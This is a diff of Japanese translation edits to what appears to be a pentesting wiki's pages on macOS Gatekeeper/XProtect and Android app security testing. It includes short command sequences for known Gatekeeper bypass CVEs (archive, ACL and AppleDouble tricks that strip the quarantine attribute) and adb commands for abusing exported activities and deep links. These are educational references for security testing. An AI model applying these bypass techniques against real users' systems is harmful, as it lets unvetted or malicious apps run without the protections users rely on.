- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleIDおよびTeamIDを介して読み込むことが禁止されているプラグインと拡張機能のリスト、または最小バージョンを示します。
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: マルウェアを検出するためのYaraルール。
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: ブロックされたアプリケーションとTeamIDのハッシュを含むSQLite3データベース。
|
||||
|
||||
**`/Library/Apple/System/Library/CoreServices/XProtect.app`**には、Gatekeeperプロセスに関与しないXProtectに関連する別のアプリがあります。
|
||||
|
||||
> XProtect Remediator: 最新のmacOSでは、Appleは定期的にlaunchdを介して実行されるオンデマンドスキャナー(XProtect Remediator)を提供し、マルウェアのファミリーを検出および修正します。これらのスキャンは統合ログで観察できます:
|
||||
> XProtect Remediator: 現代のmacOSでは、Appleは定期的にlaunchdを介して実行されるオンデマンドスキャナー(XProtect Remediator)を提供し、マルウェアのファミリーを検出し修正します。これらのスキャンは統合ログで観察できます:
|
||||
>
|
||||
> ```bash
|
||||
> log show --last 2h --predicate 'subsystem == "com.apple.XProtectFramework" || category CONTAINS "XProtect"' --style syslog
|
||||
@ -372,7 +372,7 @@ XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のS
|
||||
### Not Gatekeeper
|
||||
|
||||
> [!CAUTION]
|
||||
> Gatekeeperは、アプリケーションを実行するたびに**実行されるわけではありません**。実際には、_**AppleMobileFileIntegrity**_(AMFI)は、Gatekeeperによってすでに実行および検証されたアプリを実行する際にのみ**実行可能コードの署名を検証**します。
|
||||
> Gatekeeperは、アプリケーションを実行するたびに**実行されるわけではありません**。実際には、_**AppleMobileFileIntegrity**_(AMFI)が、Gatekeeperによってすでに実行され確認されたアプリを実行する際にのみ**実行可能コードの署名を検証**します。
|
||||
|
||||
したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後**アプリケーションの実行可能でないファイル**(ElectronのasarやNIBファイルなど)を変更し、他の保護がなければ、アプリケーションは**悪意のある**追加とともに**実行されました**。
|
||||
|
||||
@ -392,7 +392,7 @@ Gatekeeperをバイパスする方法(ユーザーに何かをダウンロー
|
||||
|
||||
**Automator**で作成されたアプリケーションでは、実行に必要な情報が`application.app/Contents/document.wflow`内にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる一般的なAutomatorバイナリです。
|
||||
|
||||
したがって、`application.app/Contents/MacOS/Automator\ Application\ Stub`を**システム内の別のAutomator Application Stubへのシンボリックリンクで指す**ように作成すると、`document.wflow`内の内容(スクリプト)が**Gatekeeperをトリガーせずに実行されます**。なぜなら、実際の実行可能ファイルにはクアランティンxattrがないからです。
|
||||
したがって、`application.app/Contents/MacOS/Automator\ Application\ Stub`を**システム内の別のAutomator Application Stubへのシンボリックリンクで指す**ように作成すると、`document.wflow`内の内容(スクリプト)が**Gatekeeperをトリガーせずに実行されます**。なぜなら、実際の実行可能ファイルにはquarantine xattrがないからです。
|
||||
|
||||
期待される場所の例:`/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
@ -400,7 +400,7 @@ Gatekeeperをバイパスする方法(ユーザーに何かをダウンロー
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
このバイパスでは、アプリケーションが`application.app`ではなく`application.app/Contents`から圧縮を開始するzipファイルが作成されました。したがって、**quarantine attr**はすべての**`application.app/Contents`のファイル**に適用されましたが、**`application.app`には適用されませんでした**。これがGatekeeperがチェックしていたものであり、`application.app`がトリガーされたときに**クアランティン属性を持っていなかったため、Gatekeeperはバイパスされました。**
|
||||
このバイパスでは、アプリケーションが`application.app`ではなく`application.app/Contents`から圧縮を開始するzipファイルが作成されました。したがって、**quarantine属性**はすべての**`application.app/Contents`のファイル**に適用されましたが、**`application.app`には適用されませんでした**。これがGatekeeperがチェックしていたものであり、`application.app`がトリガーされたときに**quarantine属性を持っていなかったため、Gatekeeperはバイパスされました。**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
@ -408,7 +408,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
|
||||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
コンポーネントは異なりますが、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成するため、**`application.app`** は **Archive Utility** によって解凍されるときに隔離属性を取得しません。
|
||||
コンポーネントは異なりますが、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成することで、**`application.app`** は **Archive Utility** によって解凍されたときに検疫属性を取得しません。
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
@ -425,7 +425,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
さらに、**AppleDouble**ファイル形式は、ファイルをそのACEを含めてコピーします。
|
||||
|
||||
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、**`com.apple.acl.text`**というxattr内に保存されたACLのテキスト表現が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... 検疫xattrはアプリケーションに設定されませんでした:
|
||||
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、xattr内に保存されたACLのテキスト表現が**`com.apple.acl.text`**として、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
@ -434,7 +434,7 @@ python3 -m http.server
|
||||
```
|
||||
[**オリジナルレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を参照して、詳細情報を確認してください。
|
||||
|
||||
この脆弱性はAppleArchivesを使用しても悪用される可能性があることに注意してください。
|
||||
この脆弱性はAppleArchivesを使用しても悪用される可能性があることに注意してください:
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
@ -443,7 +443,7 @@ aa archive -d app -o test.aar
|
||||
```
|
||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
**Google Chromeがダウンロードしたファイルに対して隔離属性を設定していなかった**のは、macOSの内部問題によるものであることが発見されました。
|
||||
**Google Chromeがダウンロードしたファイルに対して隔離属性を設定していなかった**ことが、macOSの内部問題によって発見されました。
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
@ -457,7 +457,7 @@ aa archive -d test/ -o test.aar
|
||||
|
||||
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
|
||||
```
|
||||
ファイルを作成して、検疫属性が設定されないようにすることで、**Gatekeeperをバイパスすることが可能でした。** トリックは、AppleDouble名付け規則を使用して**DMGファイルアプリケーションを作成する**こと(`._`で始める)と、検疫属性のないこの隠しファイルへの**シンボリックリンクとして可視ファイルを作成する**ことでした。\
|
||||
ファイルを作成して、検疫属性が設定されないようにすることで、**Gatekeeperをバイパスすることが可能でした。** コツは、AppleDouble名付け規則を使用して**DMGファイルアプリケーションを作成する**こと(`._`で始める)と、検疫属性のないこの隠しファイルへの**シンボリックリンクとして可視ファイルを作成する**ことでした。\
|
||||
**dmgファイルが実行されると**、検疫属性がないため、**Gatekeeperをバイパスします。**
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
@ -476,15 +476,15 @@ aa archive -d s/ -o app.aar
|
||||
```
|
||||
### [CVE-2023-41067]
|
||||
|
||||
macOS Sonoma 14.0で修正されたGatekeeperのバイパスにより、作成されたアプリがプロンプトなしで実行されることが可能になりました。詳細はパッチ適用後に公開され、修正前にこの問題は実際に悪用されていました。Sonoma 14.0以降がインストールされていることを確認してください。
|
||||
macOS Sonoma 14.0で修正されたGatekeeperバイパスにより、作成されたアプリがプロンプトなしで実行されることが可能になりました。詳細はパッチ適用後に公開され、修正前にこの問題は実際に悪用されていました。Sonoma 14.0以降がインストールされていることを確認してください。
|
||||
|
||||
### [CVE-2024-27853]
|
||||
|
||||
macOS 14.4(2024年3月リリース)におけるGatekeeperのバイパスは、`libarchive`による悪意のあるZIPの処理に起因し、アプリが評価を回避することを可能にしました。Appleがこの問題に対処した14.4以降にアップデートしてください。
|
||||
macOS 14.4(2024年3月リリース)におけるGatekeeperバイパスは、`libarchive`が悪意のあるZIPを処理する際に発生し、アプリが評価を回避できるようになりました。Appleがこの問題に対処した14.4以降にアップデートしてください。
|
||||
|
||||
### 第三者の解凍ツールによる隔離の誤伝播 (2023–2024)
|
||||
|
||||
人気のある抽出ツール(例:The Unarchiver)にいくつかの脆弱性があり、アーカイブから抽出されたファイルが`com.apple.quarantine` xattrを欠いていたため、Gatekeeperのバイパス機会が生じました。テスト時には常にmacOS Archive Utilityまたはパッチが適用されたツールを使用し、抽出後にxattrsを検証してください。
|
||||
人気のある抽出ツール(例:The Unarchiver)にいくつかの脆弱性があり、アーカイブから抽出されたファイルが`com.apple.quarantine` xattrを欠いていたため、Gatekeeperバイパスの機会が生じました。テスト時には常にmacOS Archive Utilityまたはパッチが適用されたツールを使用し、抽出後にxattrsを検証してください。
|
||||
|
||||
### uchg (この[talk](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf)から)
|
||||
|
||||
|
@ -20,7 +20,7 @@ android-applications-basics.md
|
||||
## Smali
|
||||
|
||||
時には、**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスするために、**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkを逆コンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\
|
||||
[**このチュートリアルでは、APKを逆コンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段**として非常に役立つ可能性があります。したがって、**この可能性を常に念頭に置いておいてください**。
|
||||
[**このチュートリアルでは、APKを逆コンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段として非常に役立つ**可能性があります。したがって、**この可能性を常に念頭に置いておいてください**。
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
@ -60,12 +60,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
## 静的分析
|
||||
|
||||
まず、APKを分析するためには、**デコンパイラを使用してJavaコードを確認する必要があります**。\
|
||||
まず、APKを分析するためには**Javaコードをデコンパイラを使用して確認する必要があります**。\
|
||||
詳細な情報については、[**こちらをお読みください**](apk-decompilers.md)。
|
||||
|
||||
### 興味深い情報の探索
|
||||
|
||||
APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**など、興味深いものを探すことができます... コード実行の**バックドア**や認証バックドア(アプリにハードコーディングされた管理者資格情報)も探してください。
|
||||
APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**などの興味深い情報を検索できます... コード実行の**バックドア**や認証バックドア(アプリにハードコーディングされた管理者資格情報)も探してください。
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -73,19 +73,19 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht
|
||||
|
||||
### アプリケーションの基本理解 - Manifest.xml, strings.xml
|
||||
|
||||
アプリケーションの**_Manifest.xml_**および**_strings.xml_**ファイルの**検査は、潜在的なセキュリティ脆弱性を明らかにすることができます**。これらのファイルは、デコンパイラを使用するか、APKファイルの拡張子を.zipに変更して解凍することでアクセスできます。
|
||||
アプリケーションの**_Manifest.xml_**および**_strings.xml_**ファイルの**検査は、潜在的なセキュリティ脆弱性を明らかにすることができます**。これらのファイルはデコンパイラを使用するか、APKファイルの拡張子を.zipに変更して解凍することでアクセスできます。
|
||||
|
||||
**Manifest.xml**から特定された**脆弱性**には以下が含まれます:
|
||||
|
||||
- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション(`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、チュートリアルを参照してください。
|
||||
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、特にUSBデバッグが有効な場合に、adbを介した不正なデータバックアップを防ぐことができます。
|
||||
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定して、特にUSBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐ必要があります。
|
||||
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可する例があります。
|
||||
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになります。
|
||||
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
|
||||
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。
|
||||
- **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
|
||||
|
||||
**strings.xml**ファイルからは、APIキー、カスタムスキーマ、その他の開発者ノートなどの機密情報が発見される可能性があり、これらのリソースを注意深く確認する必要があります。
|
||||
**strings.xml**ファイルからは、APIキー、カスタムスキーマ、その他の開発者ノートなどの機密情報が発見される可能性があり、これらのリソースの注意深いレビューが必要です。
|
||||
|
||||
### タップジャッキング
|
||||
|
||||
@ -100,7 +100,7 @@ tapjacking.md
|
||||
|
||||
### タスクハイジャック
|
||||
|
||||
**`launchMode`**が**`singleTask`**に設定され、**`taskAffinity`**が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**実際のアプリケーションを使用していると思いながら、悪意のあるアプリケーションと対話している**)。
|
||||
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**はタスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(ユーザーは**悪意のあるアプリケーションを使用していると思い込んでいる**)。
|
||||
|
||||
詳細情報は以下を参照してください:
|
||||
|
||||
@ -112,10 +112,10 @@ android-task-hijacking.md
|
||||
|
||||
**内部ストレージ**
|
||||
|
||||
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。
|
||||
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは他のアプリケーション、特に悪意のあるアプリケーションによるこれらのファイルへのアクセスを**制限しません**。
|
||||
|
||||
1. **静的分析:**
|
||||
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
|
||||
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**慎重に精査されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**をファイルに対して**露出させる可能性があります**。
|
||||
2. **動的分析:**
|
||||
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
|
||||
|
||||
@ -124,7 +124,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
|
||||
**外部ストレージ**上のファイルを扱う際には、いくつかの注意が必要です:
|
||||
|
||||
1. **アクセス可能性**:
|
||||
- 外部ストレージ上のファイルは**全世界に対して読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。
|
||||
- 外部ストレージ上のファイルは**全世界に対して読み取りおよび書き込み可能**です。これは、任意のアプリケーションやユーザーがこれらのファイルにアクセスできることを意味します。
|
||||
2. **セキュリティの懸念**:
|
||||
- アクセスの容易さを考慮すると、**機密情報を外部ストレージに保存しないことが推奨されます**。
|
||||
- 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。
|
||||
@ -133,21 +133,21 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
|
||||
- 外部ストレージに実行可能ファイルやクラスファイルを保存して動的に読み込むことは強く推奨されません。
|
||||
- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込む必要があります。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。
|
||||
|
||||
外部ストレージは、`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス可能**です。
|
||||
外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス可能**です。
|
||||
|
||||
> [!TIP]
|
||||
> Android 4.4(**API 17**)以降、SDカードには、**アプリ専用のディレクトリへのアクセスを制限するディレクトリ構造**があります。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。
|
||||
> Android 4.4(**API 17**)以降、SDカードにはアプリ専用のディレクトリ構造があり、**アプリからそのアプリ専用のディレクトリへのアクセスが制限されます**。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。
|
||||
|
||||
**平文で保存された機密データ**
|
||||
|
||||
- **共有設定**: Androidは各アプリケーションが`/data/data/<packagename>/shared_prefs/`パスにXMLファイルを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
|
||||
- **データベース**: Androidは各アプリケーションが`/data/data/<packagename>/databases/`パスにSQLiteデータベースを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
|
||||
|
||||
### 壊れたTLS
|
||||
### 脆弱なTLS
|
||||
|
||||
**すべての証明書を受け入れる**
|
||||
|
||||
何らかの理由で、開発者がホスト名が一致しない場合でも、すべての証明書を受け入れることがあります。例えば、以下のようなコード行がある場合です:
|
||||
何らかの理由で、開発者は時々、ホスト名が一致しない場合でもすべての証明書を受け入れます。例えば、以下のようなコード行がある場合です:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -167,9 +167,9 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
### Other checks
|
||||
|
||||
- APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。
|
||||
- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。
|
||||
- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。
|
||||
- アプリが機密性が高い場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
|
||||
- アプリが機密性の高いものである場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。
|
||||
- アプリが機密性の高いものである場合(銀行アプリなど)、**エミュレーターが使用されているかどうかを確認**する必要があります。
|
||||
- アプリが機密性の高いものである場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。
|
||||
|
||||
### React Native Application
|
||||
@ -279,11 +279,11 @@ You need to activate the **debugging** options and it will be cool if you can **
|
||||
|
||||
**Logging**
|
||||
|
||||
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
|
||||
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`が推奨されます。**Pidcat**は使いやすさと可読性のために好まれます。
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
|
||||
> それでも、**機密情報をログに記録しない**ことを推奨します。
|
||||
> それでも、**機密情報をログに記録しない**ことが推奨されます。
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
@ -297,12 +297,12 @@ Androidの**クリップボードベース**のフレームワークは、アプ
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
|
||||
アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することが推奨されます。
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報を見つけることができるかもしれません(これは脆弱性となります)。\
|
||||
データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。
|
||||
データベースは`/data/data/the.package.name/databases`にあり、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。
|
||||
|
||||
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
|
||||
|
||||
@ -331,7 +331,7 @@ You can also start an exported activity from adb:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**注意**: MobSFは、アクティビティの`android:launchMode`として_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン<21)でのみ危険なようです。
|
||||
**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン<21)でのみ危険なようです。
|
||||
|
||||
> [!TIP]
|
||||
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。
|
||||
@ -354,7 +354,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
### **サービスの悪用**
|
||||
|
||||
[**サービスとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
|
||||
サービスのアクションは`onStartCommand`メソッドで始まることを覚えておいてください。
|
||||
サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。
|
||||
|
||||
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
|
||||
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services)
|
||||
@ -362,14 +362,14 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
### **ブロードキャストレシーバーの悪用**
|
||||
|
||||
[**ブロードキャストレシーバーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
|
||||
ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。
|
||||
ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。
|
||||
|
||||
ブロードキャストレシーバーは、特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
|
||||
ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
|
||||
[**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **スキーム/ディープリンクの悪用**
|
||||
### **スキーム / ディープリンクの悪用**
|
||||
|
||||
手動でディープリンクを探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\
|
||||
MobSFや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)のようなツールを使用して、手動でディープリンクを探すことができます。\
|
||||
**adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
@ -402,7 +402,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
|
||||
|
||||
### トランスポート層の検査と検証の失敗
|
||||
|
||||
- **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションが警告を無視し、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすることは一般的です。
|
||||
- **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションは警告を見落とし、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすることが一般的です。
|
||||
- **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃(MITM)に対して脆弱になり、攻撃者がデータを復号化できるようになります。
|
||||
- **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。
|
||||
|
||||
@ -418,7 +418,7 @@ SSLピンニングは、アプリケーションがサーバーの証明書を
|
||||
|
||||
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**(例:Burp)。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
|
||||
|
||||
**APIレベル24以上**をターゲットにしたアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成を変更する手順については、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。
|
||||
**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアル**](make-apk-accept-ca-certificate.md)を参照してください。
|
||||
|
||||
**Flutter**が使用されている場合は、[**このページ**](flutter.md)の指示に従う必要があります。これは、証明書をストアに追加するだけでは機能せず、Flutterには独自の有効なCAのリストがあるためです。
|
||||
|
||||
@ -428,7 +428,7 @@ SSLピンニングが実装されている場合、HTTPSトラフィックを検
|
||||
|
||||
